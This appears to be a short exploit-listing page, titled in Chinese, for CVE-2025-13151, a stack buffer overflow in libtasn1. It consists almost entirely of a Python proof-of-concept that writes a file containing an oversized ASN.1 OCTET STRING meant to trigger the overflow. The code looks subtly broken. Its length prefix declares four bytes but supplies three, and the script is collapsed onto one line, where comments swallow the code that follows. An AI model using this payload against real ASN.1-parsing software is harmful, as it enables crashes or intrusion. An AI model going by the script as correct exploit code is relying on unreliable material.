CVE-2025-13151 libtasn1 asn1_expend_octet_string栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-13151 PoC - libtasn1 asn1_expend_octet_string Buffer Overflow # This PoC demonstrates the vulnerability by crafting malicious ASN.1 data import struct def create_malicious_asn1_octet_string(): """ Create a malicious ASN.1 OCTET STRING that triggers buffer overflow in asn1_expend_octet_string function """ # ASN.1 OCTET STRING tag tag = 0x04 # Craft a length field that exceeds expected buffer size # This triggers the overflow when processed by asn1_expend_octet_string excessive_length = 0xFFFF # 65535 bytes - exceeds typical stack buffer # Length encoding (using long form for clarity) length_bytes = b'\x84' + struct.pack('>I', excessive_length)[1:] # Malicious payload - overflow data payload = b'A' * excessive_length # Construct the malformed ASN.1 OCTET STRING malicious_data = bytes([tag]) + length_bytes + payload return malicious_data def create_poc_file(): """Generate PoC file for testing""" poc_data = create_malicious_asn1_octet_string() with open('cve_2025_13151_poc.bin', 'wb') as f: f.write(poc_data) print(f"PoC file created: cve_2025_13151_poc.bin ({len(poc_data)} bytes)") print("This file contains a malformed ASN.1 OCTET STRING that can") print("trigger buffer overflow in libtasn1 asn1_expend_octet_string") if __name__ == '__main__': create_poc_file()